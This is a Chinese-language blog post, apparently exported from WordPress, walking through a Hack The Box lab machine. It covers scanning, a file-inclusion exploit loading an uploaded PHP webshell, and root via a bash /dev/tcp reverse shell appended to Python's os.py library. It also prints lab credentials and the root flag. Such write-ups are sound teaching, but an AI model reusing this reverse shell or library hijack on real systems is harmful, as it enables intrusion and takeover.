{"id":120,"date":"2024-11-13T09:27:05","date_gmt":"2024-11-13T01:27:05","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=120"},"modified":"2024-11-13T09:49:56","modified_gmt":"2024-11-13T01:49:56","slug":"htb_machine_friendzone","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2024\/11\/13\/htb_machine_friendzone\/","title":{"rendered":"HTB\u9776\u673a Friendzone \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code>10.10.10.123<\/code><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/\u2026\/Documents\/pentest_notes\/friendzone\/nmap_reports]\n\u2514\u2500# ping -c 4 10.10.10.123\nPING 10.10.10.123 (10.10.10.123) 56(84) bytes of data.\n64 bytes from 10.10.10.123: icmp_seq=1 ttl=63 time=352 ms\n64 bytes from 10.10.10.123: icmp_seq=2 ttl=63 time=367 ms\n64 bytes from 10.10.10.123: icmp_seq=3 ttl=63 time=357 ms\n64 bytes from 10.10.10.123: icmp_seq=4 ttl=63 time=349 ms\n\n--- 10.10.10.123 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3079ms\nrtt min\/avg\/max\/mdev = 349.280\/356.360\/367.491\/6.927 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u901a\u4fe1\u72b6\u6001\u826f\u597d\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Fri Jul 12 10:45:50 2024 as: nmap -sF -p- --min-rate 2000 -oN .\/fin_result.txt 10.10.10.123\nNmap scan report for 10.10.10.123 (10.10.10.123)\nHost is up (0.36s latency).\nNot shown: 65528 closed tcp ports (reset)\nPORT    STATE         SERVICE\n21\/tcp  open|filtered ftp\n22\/tcp  open|filtered ssh\n53\/tcp  open|filtered domain\n80\/tcp  open|filtered http\n139\/tcp open|filtered netbios-ssn\n443\/tcp open|filtered https\n445\/tcp open|filtered microsoft-ds\n\n# Nmap done at Fri Jul 12 10:46:32 2024 -- 1 IP address (1 host up) scanned in 42.27 seconds<\/code><\/pre>\n<p>\u9776\u673a\u5f00\u653e\u4e86<code>7<\/code>\u4e2a<code>TCP<\/code>\u7aef\u53e3\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code>TCP<\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Fri Jul 12 10:53:10 2024 as: nmap -sS -sV -A -p 21,22,53,80,139,443,445 -oN .\/tcp_result.txt 10.10.10.123\nNmap scan report for 10.10.10.123 (10.10.10.123)\nHost is up (0.34s latency).\n\nPORT    STATE SERVICE     VERSION\n21\/tcp  open  ftp         vsftpd 3.0.3\n22\/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)\n|   256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)\n|_  256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)\n53\/tcp  open  tcpwrapped\n80\/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))\n|_http-server-header: Apache\/2.4.29 (Ubuntu)\n|_http-title: Friend Zone Escape software\n139\/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)\n443\/tcp open  ssl\/http    Apache httpd 2.4.29\n|_ssl-date: TLS randomness does not represent time\n| ssl-cert: Subject: commonName=friendzone.red\/organizationName=CODERED\/stateOrProvinceName=CODERED\/countryName=JO\n| Not valid before: 2018-10-05T21:02:30\n|_Not valid after:  2018-11-04T21:02:30\n|_http-server-header: Apache\/2.4.29 (Ubuntu)\n| tls-alpn: \n|_  http\/1.1\n|_http-title: 400 Bad Request\n445\/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nAggressive OS guesses: Linux 3.2 - 4.9 (96%), Linux 3.16 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.18 (94%), Linux 3.1 (93%), Linux 3.2 (93%), Linux 3.10 - 4.11 (93%), Oracle VM Server 3.4.2 (Linux 4.1) (93%), Linux 3.12 (93%), Linux 3.13 (93%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: Hosts: FRIENDZONE, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:\/o:linux:linux_kernel\n\nHost script results:\n|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: &lt;unknown&gt; (unknown)\n| smb-os-discovery: \n|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)\n|   Computer name: friendzone\n|   NetBIOS computer name: FRIENDZONEx00\n|   Domain name: x00\n|   FQDN: friendzone\n|_  System time: 2024-07-12T05:53:37+03:00\n| smb2-security-mode: \n|   3:1:1: \n|_    Message signing enabled but not required\n|_clock-skew: mean: -59m58s, deviation: 1h43m52s, median: 0s\n| smb-security-mode: \n|   account_used: guest\n|   authentication_level: user\n|   challenge_response: supported\n|_  message_signing: disabled (dangerous, but default)\n| smb2-time: \n|   date: 2024-07-12T02:53:34\n|_  start_date: N\/A\n\nTRACEROUTE (using port 22\/tcp)\nHOP RTT       ADDRESS\n1   348.68 ms 10.10.14.1 (10.10.14.1)\n2   373.79 ms 10.10.10.123 (10.10.10.123)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Fri Jul 12 10:53:53 2024 -- 1 IP address (1 host up) scanned in 43.00 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Fri Jul 12 10:54:27 2024 as: nmap -sU -p- --min-rate 2000 -oN .\/udp_ports.txt 10.10.10.123\nWarning: 10.10.10.123 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.10.123 (10.10.10.123)\nHost is up (0.36s latency).\nNot shown: 65166 open|filtered udp ports (no-response), 367 closed udp ports (port-unreach)\nPORT    STATE SERVICE\n53\/udp  open  domain\n137\/udp open  netbios-ns\n\n# Nmap done at Fri Jul 12 11:00:32 2024 -- 1 IP address (1 host up) scanned in 364.51 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Fri Jul 12 11:01:48 2024 as: nmap -sC -sU -sV -A -p 53,137 -oN .\/udp_report.txt 10.10.10.123\nNmap scan report for 10.10.10.123 (10.10.10.123)\nHost is up (0.36s latency).\n\nPORT    STATE SERVICE    VERSION\n53\/udp  open  domain     ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)\n|_dns-recursion: Recursion appears to be enabled\n137\/udp open  netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)\n| nbns-interfaces: \n|   hostname: FRIENDZONE\n|   interfaces: \n|_    10.10.10.123\nToo many fingerprints match this host to give specific OS details\nNetwork Distance: 5 hops\nService Info: Host: FRIENDZONE; OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nHost script results:\n|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: &lt;unknown&gt; (unknown)\n\nTRACEROUTE (using port 53\/udp)\nHOP RTT       ADDRESS\n1   347.35 ms 10.10.14.1 (10.10.14.1)\n2   ... 4\n5   348.00 ms 10.10.10.123 (10.10.10.123)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Fri Jul 12 11:02:11 2024 -- 1 IP address (1 host up) scanned in 22.70 seconds<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3a<code>Ubuntu Linux<\/code>\uff0c\u4ee5\u53ca\u57df\u540d<code>friendzone.red<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>FTP\u670d\u52a1\uff0821\u7aef\u53e3\uff09<\/h2>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>FTP<\/code>\u533f\u540d\u8d26\u53f7\u767b\u5f55\uff0c\u5931\u8d25\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1720917682452-09213dec-09e9-429e-8547-45444981d59e.png\" alt=\"\" \/><\/p>\n<h2>SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n<p>\u7aef\u53e3<code>Banner<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/megumin\/Documents\/pentest_notes\/friendzone]\n\u2514\u2500# nc -nv 10.10.10.123 22     \n(UNKNOWN) [10.10.10.123] 22 (ssh) open\nSSH-2.0-OpenSSH_7.6p1 Ubuntu-4<\/code><\/pre>\n<h2>DNS\u670d\u52a1\uff0853\u7aef\u53e3\uff09<\/h2>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>dig<\/code>\u5de5\u5177\u67e5\u8be2\u9776\u673a\u7684\u5b50\u57df\u540d\u4fe1\u606f\uff0c\u5305\u62ec\u4f7f\u7528<code>AXFR<\/code>\u533a\u57df\u4f20\u8f93\u529f\u80fd\uff1a<\/p>\n<pre><code class=\"language-bash\">dig version.bind CHAOS TXT @10.10.10.123\ndig any friendzone.red @10.10.10.123\ndig axfr @10.10.10.123 friendzone.red<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1720918121126-060cab26-93db-480e-9c09-9ca5adc46d6d.png\" alt=\"\" \/><\/p>\n<p><strong>\u53d1\u73b0\u4e86<\/strong><code>3<\/code><strong>\u4e2a\u5b50\u57df\u540d\uff1a<\/strong><code>administrator1<\/code><strong>\u3001<\/strong><code>hr<\/code><strong>\u548c<\/strong><code>uploads<\/code><strong>\uff0c\u5c06\u5176\u5199\u5165<\/strong><code>hosts<\/code><strong>\u6587\u4ef6\u5185\u3002<\/strong><\/p>\n<h2>SMB\u670d\u52a1<\/h2>\n<p>\u4f7f\u7528<code>nbtscan<\/code>\u5de5\u5177\u786e\u5b9a<code>NetBIOS<\/code>\u4fe1\u606f\uff1a<\/p>\n<pre><code class=\"language-shell\">\u2500\u2500(root\u327fmisaka19008)-[\/home\/megumin\/Documents\/pentest_notes\/friendzone]\n\u2514\u2500# nbtscan 10.10.10.123 \nDoing NBT name scan for addresses from 10.10.10.123\n\nIP address       NetBIOS Name     Server    User             MAC address      \n------------------------------------------------------------------------------\n10.10.10.123     FRIENDZONE       &lt;server&gt;  FRIENDZONE       00:00:00:00:00:00<\/code><\/pre>\n<p>\u63a5\u7740\u4f7f\u7528<code>enum4linux<\/code>\u5de5\u5177\u679a\u4e3e<code>SMB<\/code>\u670d\u52a1\uff1a<\/p>\n<pre><code class=\"language-bash\">enum4linux -a 10.10.10.123<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1720921862760-a37f4eda-ef61-450d-a71e-51728f6c4de5.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1720921867252-5914907a-d2be-475b-9912-66d2f2c57772.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u4e86<code>\/Files<\/code>\u3001<code>\/general<\/code>\u548c<code>\/Development<\/code>\u4e09\u4e2a\u5171\u4eab\uff0c\u5176\u4e2d<code>\/general<\/code>\u548c<code>\/Development<\/code>\u53ef\u4ee5\u533f\u540d\u767b\u5f55\uff0c<code>\/Development<\/code>\u53ef\u4ee5\u533f\u540d\u5199\u5165\u6587\u4ef6\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1720922893408-142c3763-c450-4ba0-8dc4-65b95592777c.png\" alt=\"\" \/><\/p>\n<p>\u6000\u7591<code>\/Development<\/code>\u76ee\u5f55\u4e3a\u67d0\u4e2a\u7f51\u7ad9\u865a\u62df\u4e3b\u673a\u7684\u7f51\u9875\u76ee\u5f55\uff0c\u540c\u65f6\u6839\u636e<code>SMB<\/code>\u5171\u4eab\u7b80\u4ecb\uff0c\u63a8\u65ad\u8fd9<code>3<\/code>\u4e2a\u5171\u4eab\u76ee\u5f55\u90fd\u4f4d\u4e8e<code>\/etc<\/code>\u76ee\u5f55\u4e0b\u3002<\/p>\n<pre><code class=\"language-plain\">creds for the admin THING:\n\nadmin:WORKWORKHhallelujah@#<\/code><\/pre>\n<p>\u53d1\u73b0\u7591\u4f3c\u767b\u5f55\u51ed\u636e\u7684\u5185\u5bb9\uff1a<\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>admin<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>WORKWORKHhallelujah@#<\/code><\/li>\n<\/ul>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f<\/h2>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/friendzone.red\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1720923416938-f1a4e629-b8cd-4010-b0d0-adfb412e7427.png\" alt=\"\" \/><\/p>\n<pre><code class=\"language-html\">&lt;title&gt;Friend Zone Escape software&lt;\/title&gt;\n\n&lt;center&gt;&lt;h2&gt;Have you ever been friendzoned ?&lt;\/h2&gt;&lt;\/center&gt;\n\n&lt;center&gt;&lt;img src=\"fz.jpg\"&gt;&lt;\/center&gt;\n\n&lt;center&gt;&lt;h2&gt;if yes, try to get out of this zone ;)&lt;\/h2&gt;&lt;\/center&gt;\n\n&lt;center&gt;&lt;h2&gt;Call us at : +999999999&lt;\/h2&gt;&lt;\/center&gt;\n\n&lt;center&gt;&lt;h2&gt;Email us at: info@friendzoneportal.red&lt;\/h2&gt;&lt;\/center&gt;<\/code><\/pre>\n<p>\u53d1\u73b0\u9776\u673a\u8c8c\u4f3c\u8fd8\u6709\u4e00\u4e2a\u57df\u540d\uff1a<code>friendzoneportal.red<\/code>\uff0c\u5c1d\u8bd5\u4f7f\u7528<code>dig<\/code>\u67e5\u8be2\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1720923545996-db82a436-9fdf-4943-863c-9999e4f697a8.png\" alt=\"\" \/><\/p>\n<p>\u5bf9\u5df2\u7ecf\u83b7\u53d6\u5230\u7684\u57df\u540d\u8fdb\u884c<code>HTTPS<\/code>\u6d4b\u8bd5\uff0c\u6700\u540e\u53d1\u73b0\u53ea\u6709\u5982\u4e0b\u57df\u540d\u771f\u5b9e\u5b58\u5728\uff1a<\/p>\n<pre><code class=\"language-plain\">https:\/\/friendzone.red\nhttps:\/\/administrator1.friendzone.red\nhttps:\/\/friendzoneportal.red\nhttps:\/\/admin.friendzoneportal.red<\/code><\/pre>\n<h3>friendzone\u4e3b\u57df\u540d<\/h3>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>https:\/\/friendzone.red\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1720925147022-5c1b79d9-54a3-40d5-be5b-0f52067fadae.png\" alt=\"\" \/><\/p>\n<pre><code class=\"language-html\">&lt;title&gt;FriendZone escape software&lt;\/title&gt;\n\n&lt;br&gt;\n&lt;br&gt;\n\n&lt;center&gt;&lt;h2&gt;Ready to escape from friend zone !&lt;\/h2&gt;&lt;\/center&gt;\n\n&lt;center&gt;&lt;img src=\"e.gif\"&gt;&lt;\/center&gt;\n\n&lt;!-- Just doing some development here --&gt;\n&lt;!-- \/js\/js --&gt;\n&lt;!-- Don't go deep ;) --&gt;<\/code><\/pre>\n<p>\u8bbf\u95ee<code>\/js\/js<\/code>\u76ee\u5f55\uff1a<\/p>\n<pre><code class=\"language-html\">&lt;p&gt;Testing some functions !&lt;\/p&gt;&lt;p&gt;I'am trying not to break things !&lt;\/p&gt;ODJEa01ZRFFHRjE3MjA5MjQ3NDBOVFJ0aklYa3hU&lt;!-- dont stare too much , you will be smashed ! , it's all about times and zones ! --&gt;<\/code><\/pre>\n<p>\u53d1\u73b0\u4e00\u4e32\u65e0\u610f\u4e49\u7684<code>Base64<\/code>\u6587\u672c\u3002<\/p>\n<h3>administrator1\u5b50\u57df\u540d<\/h3>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>https:\/\/administrator1.friendzone.red\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1720925578316-37eef21f-e8ee-4dd0-b63a-80fd397990b3.png\" alt=\"\" \/><\/p>\n<p>\u67e5\u770b\u6e90\u4ee3\u7801\uff0c\u53d1\u73b0\u8be5\u7cfb\u7edf\u4f3c\u4e4e\u662f\u4e00\u5957\u81ea\u7814\u7cfb\u7edf\uff0c\u5c1d\u8bd5\u4f7f\u7528\u4e4b\u524d\u53d1\u73b0\u7684\u767b\u5f55\u51ed\u636e\u767b\u5f55\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1720925673424-1e6450bb-16c5-4f2d-8f3f-a0a543c7e567.png\" alt=\"\" \/><\/p>\n<p>\u767b\u5f55\u6210\u529f\uff01\u5c1d\u8bd5\u8bbf\u95ee<code>\/dashboard.php<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1720925770729-7ffcb140-e2de-41a1-913b-b6cd3edb261f.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u7f51\u9875\u63d0\u793a\u6211\u4eec\u53c2\u6570<code>image_id<\/code>\u4e22\u5931\uff0c\u4e0b\u65b9\u7ed9\u51fa\u4e86\u53c2\u6570\u793a\u4f8b\uff0c\u79f0\u8be5\u53c2\u6570\u5185\u5bb9\u4e3a\u6587\u4ef6\u540d\uff0c\u53ea\u8981\u8865\u5168\u53c2\u6570\u5c31\u53ef\u4ee5\u663e\u793a\u6587\u4ef6\u5185\u5bb9\uff0c\u6000\u7591\u8be5\u5904\u5b58\u5728\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\u3002<\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<h2>\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\u5229\u7528<\/h2>\n<p>\u7ecf\u8fc7\u6d4b\u8bd5\uff0c\u53d1\u73b0<code>dashboard.php<\/code>\u7684<code>image_id<\/code>\u4e0d\u5b58\u5728\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\uff0c\u53ea\u6709<code>pagename<\/code>\u53c2\u6570\u5b58\u5728\u5305\u542b\u4efb\u610f<code>PHP<\/code>\u6587\u4ef6\u7684\u6f0f\u6d1e\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1720926522318-6673ffa1-f941-4937-b000-aff4b7a5a3f3.png\" alt=\"\" \/><\/p>\n<p>\u7ed3\u5408\u63a2\u6d4b<code>SMB<\/code>\u670d\u52a1\u65f6\u53d1\u73b0\u7684\u5171\u4eab\u76ee\u5f55\u6ce8\u91ca\u5185\u5bb9\u548c\u533f\u540d\u53ef\u5199\u76ee\u5f55\uff0c\u51b3\u5b9a\u4e0a\u4f20<code>PHP<\/code>\u6728\u9a6c<code>sparkle.php<\/code>\uff0c\u5e76\u5c1d\u8bd5\u4f7f\u7528\u8be5\u6f0f\u6d1e\u5305\u542b<code>\/etc\/Development\/sparkle.php<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1720926906622-4933ce01-2297-40ce-99d0-e72604d3bf55.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1720927295273-0692584e-d066-479d-a882-07372fa1b839.png\" alt=\"\" \/><\/p>\n<p>\u6728\u9a6c\u6b63\u5e38\u8fd0\u884c\uff01\u63a5\u4e0b\u6765\u76f4\u63a5\u53cd\u5f39Shell\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1720927501151-33ea42ce-c686-4bd6-96a4-c31d0c0938d2.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>\u79fb\u52a8\u81f3friend\u7528\u6237<\/h2>\n<p>\u8fdb\u5165\u7cfb\u7edf\u4e4b\u540e\uff0c\u5728<code>\/var\/www<\/code>\u76ee\u5f55\u4e0b\u8fdb\u884c\u4fe1\u606f\u6536\u96c6\uff0c\u53d1\u73b0\u4e86<code>mysql_data.conf<\/code>\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-plain\">for development process this is the mysql creds for user friend\n\ndb_user=friend\n\ndb_pass=Agpyu12!0.213$\n\ndb_name=FZ<\/code><\/pre>\n<p>\u5f88\u660e\u663e\u8fd9\u5e94\u8be5\u4e0d\u662f\u4e00\u4efd\u5177\u6709\u5408\u6cd5\u683c\u5f0f\u7684\u914d\u7f6e\u6587\u4ef6\uff0c\u4f46\u662f\u9776\u673a\u4e0a\u786e\u5b9e\u5b58\u5728<code>friend<\/code>\u7528\u6237\u3002\u5c1d\u8bd5\u767b\u5f55<code>SSH<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1720928325423-45ca17b7-152a-4b05-ae78-9a1bc7136277.png\" alt=\"\" \/><\/p>\n<p><strong>\u767b\u5f55\u6210\u529f\uff01\uff01\uff01<\/strong><\/p>\n<h2>\u672c\u5730\u4fe1\u606f\u6536\u96c6<\/h2>\n<p><strong>\u57fa\u672c\u7cfb\u7edf\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721004280604-18aec0e5-3f1b-4371-825f-a46583a5fd76.png\" alt=\"\" \/><\/p>\n<p><strong>\u8fdb\u7a0b\u5217\u8868<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721004306886-19b33c9b-2f7f-43b3-a2ef-818ea98c391e.png\" alt=\"\" \/><\/p>\n<p><strong>\u8ba1\u5212\u4efb\u52a1\u5217\u8868<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721004312552-4e1af36e-5867-48d5-b292-c236b975be6f.png\" alt=\"\" \/><\/p>\n<p><strong>\u73af\u5883\u53d8\u91cf<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721004321202-1abbfca7-eef9-4716-9671-02bda9c107b4.png\" alt=\"\" \/><\/p>\n<p><strong>\u7528\u6237\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721004330972-a966f9e4-b9f0-476d-b45a-449c1364a55c.png\" alt=\"\" \/><\/p>\n<p><strong>\u7528\u6237\u5bb6\u76ee\u5f55<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721004336841-f5361f6d-5364-4942-a1d6-63f8f466f353.png\" alt=\"\" \/><\/p>\n<p><strong>\u7279\u6b8a\u6743\u9650\u6587\u4ef6<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721004346480-215388f7-3daa-4951-a960-2cfcaadd0101.png\" alt=\"\" \/><\/p>\n<p><strong>\u5f00\u653e\u7aef\u53e3\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721004352912-e030c3a4-79de-4484-b023-63446640f0e0.png\" alt=\"\" \/><\/p>\n<p><strong>\u654f\u611f\u6587\u4ef6\u6743\u9650<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721004358269-eb0c8e95-23fd-4bdf-a7c3-58fc6be6ff1f.png\" alt=\"\" \/><\/p>\n<p><strong>\u7528\u6237\u53ef\u5199\u6587\u4ef6<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721004372342-1f3c9200-c714-4dd0-b22d-fdc552b93476.png\" alt=\"\" \/><\/p>\n<p>\u7ecf\u5206\u6790\u7814\u5224\uff0c\u53d1\u73b0<code>Python<\/code>\u89e3\u91ca\u5668\u7684<code>os<\/code>\u5e93\u6587\u4ef6\u53ef\u5199\uff0c\u540c\u65f6\u4f7f\u7528<code>PSPY<\/code>\u8fdb\u7a0b\u76d1\u63a7\u5de5\u5177\u53d1\u73b0\u9776\u673a\u5728\u5b9a\u65f6\u8fd0\u884c<code>\/opt\/server_admin\/reporter.py<\/code>\uff0c\u5176\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n<pre><code class=\"language-plain\">#!\/usr\/bin\/python\n\nimport os\n\nto_address = \"admin1@friendzone.com\"\nfrom_address = \"admin2@friendzone.com\"\n\nprint \"[+] Trying to send email to %s\"%to_address\n\n#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass \"PAPAP\"'''\n\n#os.system(command)\n\n# I need to edit the script later\n# Sam ~ python developer<\/code><\/pre>\n<p>\u53ef\u4ee5\u53d1\u73b0\u811a\u672c\u540e\u534a\u6bb5\u88ab\u6ce8\u91ca\uff0c\u4f46\u76ee\u524d\u65e0\u6cd5\u4fee\u6539\u6587\u4ef6\uff0c\u7ed3\u5408\u4e0a\u8ff0\u60c5\u51b5\uff0c\u51b3\u5b9a\u5728<code>Python<\/code>\u7684<code>os<\/code>\u5e93\u672b\u5c3e\u6dfb\u52a0\u6076\u610f\u4ee3\u7801\u8fdb\u884c\u63d0\u6743\u3002<\/p>\n<h2>\u7be1\u6539Python\u5e93<\/h2>\n<p>\u4e0b\u8f7d<code>\/usr\/lib\/python2.7\/os.py<\/code>\u6587\u4ef6\uff0c\u5728\u7a0b\u5e8f\u672b\u5c3e\u5904\u6dfb\u52a0\u53cd\u5f39Shell\u4ee3\u7801\uff1a<\/p>\n<pre><code class=\"language-python\">import subprocess\nsubprocess.Popen(\"\/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/10.10.16.2\/443 0&gt;&amp;1'\", shell=True)<\/code><\/pre>\n<p>\u968f\u540e\u5c06\u5176\u4e0a\u4f20\u81f3\u9776\u673a\u5e76\u4f7f\u7528<code>cp -rf<\/code>\u5f3a\u5236\u8986\u76d6\u539f<code>os.py<\/code>\u6587\u4ef6\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721007571434-8fbe8d2e-60f7-4fa3-9708-a23e675510ee.png\" alt=\"\" \/><\/p>\n<p>\u7b49\u5f85\u4e00\u4f1a\u513f\u4e4b\u540e\uff0c\u76f4\u63a5\u6536\u5230\u53cd\u5f39Shell\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721007705380-bd4704fe-a105-4b0c-bb92-6ce6fc511e40.png\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>Flag\u6587\u4ef6\u5c55\u793a<\/h1>\n<pre><code class=\"language-plain\">980edca5c378b6d9eb941057073d7050<\/code><\/pre>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.10.123 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b 